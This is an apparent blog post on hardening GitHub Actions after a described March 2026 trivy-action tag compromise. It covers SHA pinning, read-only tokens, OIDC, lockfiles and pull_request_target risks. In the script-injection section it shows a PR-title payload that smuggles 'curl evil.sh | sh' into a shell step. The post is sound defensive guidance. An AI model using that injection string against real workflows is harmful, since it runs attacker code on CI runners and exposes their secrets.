Skip to main content
GitHub Actions Security: 7 Fixes After the Trivy Compromise

GitHub Actions Security: 7 Fixes After the Trivy Compromise

KU
· Founder & Chief Editor
• 7 min read•6 views

In March 2026 an attacker force-pushed 76 trivy-action tags to an infostealer that read secrets straight out of runner memory. Seven fixes that would have contained it, in the order we'd apply them.

Key takeaways

  • On March 19, 2026, attackers force-pushed 76 of 77 aquasecurity/trivy-action tags to code that dumped runner memory and stole CI secrets.
  • Workflows pinned to a full commit SHA were not affected.
  • Pin actions to SHAs or a lockfile, make GITHUB_TOKEN read-only by default, replace stored cloud keys with OIDC, and avoid pull_request_target with untrusted code.

Pin every action to a full commit SHA (or a workflow lockfile), make GITHUB_TOKEN read-only, and swap stored cloud keys for OIDC. Tags can move: on March 19, 2026, an attacker force-pushed 76 of 77 aquasecurity/trivy-action tags to a credential stealer (CVE-2026-33634), and for about twelve hours every workflow using trivy-action@<tag> ran it.

Verified against

actions/checkout v7.0.1 and aquasecurity/trivy-action v0.36.0 (commit SHAs looked up from each repository's tags), against GitHub Advisory GHSA-69fq-xp46-6x23 and the GitHub Docs secure-use and workflow lockfile pages. Checked October 2026.

The payload ran before the legitimate scan, so pipelines looked normal. It dumped the Runner.Worker process memory to extract secrets and swept more than 50 filesystem paths for SSH keys, cloud credentials, Kubernetes tokens and .env files. Images referenced by digest and actions pinned by commit SHA were not affected.

Here are the seven fixes, in the order we'd apply them.

FixStopsEffort
1. Pin actions to full commit SHAsMoved or force-pushed tagsLow, with Dependabot
2. Read-only GITHUB_TOKEN by defaultMalicious code pushing to your repoLow
3. OIDC instead of stored cloud keysLong-lived credentials being stolenMedium
4. No pull_request_target with checked-out PR codeFork PRs running with your secretsLow
5. Untrusted input through env:, never inlineScript injection from PR titles and branch namesLow
6. Workflow dependency lockfileTransitive and repository-swap attacksMedium
7. Allow-list actions at the organization levelUnreviewed third-party actionsLow

1. Pin every action to a full commit SHA

A tag is a pointer anyone with write access can move. A 40-character commit SHA can't be changed. GitHub's secure-use reference says to pin actions to a full-length commit SHA, and Dependabot can still keep pinned actions current, updating the version comment when it sits on the same line. The advisory's own remediation list says the same thing.

YAML
# .github/workflows/scan.yml
permissions:
  contents: read

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
      - uses: aquasecurity/trivy-action@ed142fd0673e97e23eac54620cfb913e5ce36c25 # v0.36.0
        with:
          scan-type: fs

Look up each SHA from the action's own repository, not a fork, and verify it matches the release you intend. Annotated tags point at a tag object, so dereference to the commit:

code
$ gh api repos/aquasecurity/trivy-action/git/ref/tags/v0.36.0 --jq .object
{"sha":"a9c7b0f06e461e9d4b4d1711f154ee024b8d7ab8","type":"tag", ...}
$ gh api repos/aquasecurity/trivy-action/git/tags/a9c7b0f06e461e9d4b4d1711f154ee024b8d7ab8 --jq .object.sha
ed142fd0673e97e23eac54620cfb913e5ce36c25

One trade-off: GitHub's docs say Dependabot only alerts on vulnerable actions that use semantic versioning and won't create alerts for SHA-pinned ones, so subscribe to advisories for the actions you depend on.

2. Make GITHUB_TOKEN read-only by default

Set permissions: contents: read at the top of every workflow, or change the repository default to read-only, and grant write per job only where needed. A compromised step can then read your code but not push commits, publish packages or approve pull requests.

3. Replace stored cloud keys with OIDC

The trivy payload went looking for cloud credentials. A workflow that authenticates through OpenID Connect has no long-lived key to steal: it exchanges a short-lived token for temporary credentials scoped to one role. Restrict the role's trust policy to your repository and branch, so a token from another repository or a fork can't assume it.

4. Treat pull_request_target as dangerous

pull_request_target runs in the context of the base repository, with its secrets and a write token. Combined with checking out the pull request's code, it lets anyone with a fork run code with your secrets. Snyk's analysis traces the trivy credentials back to a February 28, 2026 compromise that began with exactly this kind of misconfigured pull_request_target workflow, which leaked an org-scoped token for Aqua's bot account; the advisory adds that incomplete credential rotation afterwards enabled the March 19 attack. GitHub's guidance is to avoid the trigger unless necessary and never check out untrusted code in it. If you need privileged follow-up work for pull requests, split it into a workflow_run workflow that never checks out untrusted code.

5. Pass untrusted input through environment variables

PR titles, branch names and issue bodies are attacker-controlled. Interpolating them into a run: script with ${{ }} turns them into shell code.

YAML
# Vulnerable: a PR titled  a"; curl evil.sh | sh; "  runs that command
- run: echo "Title: ${{ github.event.pull_request.title }}"

# Safe: the value arrives as data, not code
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Title: $PR_TITLE"

6 and 7. Lock dependencies and allow-list actions

GitHub now documents a workflow dependency lockfile, .github/workflows/actions.lock, generated by the gh actions-lock CLI extension. It records the exact commit for every action, including transitive ones, plus each repository's owner_id and repo_id, so Actions can confirm at run time that the repository behind the name is still the one you locked. GitHub's docs call it "the better option" and say SHA pinning inside workflow files is no longer necessary for repositories that adopt it; it also satisfies the require-SHA-pinning policy. Our walkthrough of GitHub Actions workflow lockfiles covers the rollout. Pair it with an organization policy that allows only actions you've reviewed, so a new third-party action needs a deliberate decision. For the package side of the same problem, see our npm supply chain CI hardening guide.

If you ran an affected version

The advisory's guidance is blunt: treat every secret those pipelines could reach as exposed and rotate it. Check runs from March 19 to 20, 2026, remove any Trivy v0.69.4 artifacts (and the v0.69.5 and v0.69.6 Docker Hub images pushed on March 22), and search your organization for public repositories prefixed tpcp-docs-, which the malware created as a fallback exfiltration channel. The advisory lists trivy-action v0.35.0 and Trivy v0.69.2 or v0.69.3 as known safe.

Questions people ask

Should I pin GitHub Actions to a SHA or a version tag?

Pin to a full commit SHA and keep the version as a comment on the same line. Tags can be moved, which is how the March 2026 trivy-action compromise reached workflows that never changed a line (Snyk puts the blast radius at roughly 10,000+ workflow files), while a SHA can't. Dependabot can still update SHA-pinned actions, so pinning doesn't mean falling behind.

Was my workflow affected by the trivy-action compromise?

If a workflow ran aquasecurity/trivy-action by a version tag between about 17:43 UTC on March 19 and 05:40 UTC on March 20, 2026, assume it was, and rotate every secret it could read. aquasecurity/setup-trivy tags were also replaced, from 17:43 to about 21:44 UTC on March 19. Workflows pinned to a commit SHA, and images referenced by digest, were not affected.

What permissions should GITHUB_TOKEN have?

Read-only by default: contents: read at the workflow level, with write scopes granted per job only where a step genuinely needs them, such as packages: write for publishing an image. This limits what a compromised action can do with the token.

The decision, concretely

  • Public repository accepting fork PRs? Fixes 1, 2, 4 and 5 today, before anything else.
  • Workflows deploying to a cloud account? Add OIDC; stored access keys are the prize attackers look for.
  • Many repositories in an organization? Set read-only token defaults and an action allow-list once, at the organization level.
  • Ready for the strongest option? Adopt the workflow dependency lockfile and let it replace manual SHA pinning.

The call we'd make

Spend one afternoon pinning SHAs, setting read-only tokens and removing pull_request_target from anything that checks out PR code. Those three changes would have contained the trivy compromise for most teams. Then schedule OIDC and the lockfile, because the next incident will target whatever secrets your CI still holds.

Sources

React
Share this post
Cite this article
Plain text

Kiril Urbonas (2026). GitHub Actions Security: 7 Fixes After the Trivy Compromise. DevOpsNess. Updated 2026-10-31. https://www.devopsness.com/blog/github-actions-security-hardening

Markdown

[GitHub Actions Security: 7 Fixes After the Trivy Compromise](https://www.devopsness.com/blog/github-actions-security-hardening) (Kiril Urbonas, DevOpsNess, updated 2026-10-31)

KU

Kiril Urbonas

Founder & Chief Editor

586 articles
View all articles by Kiril Urbonas

You might have missed

Evergreen posts worth revisiting.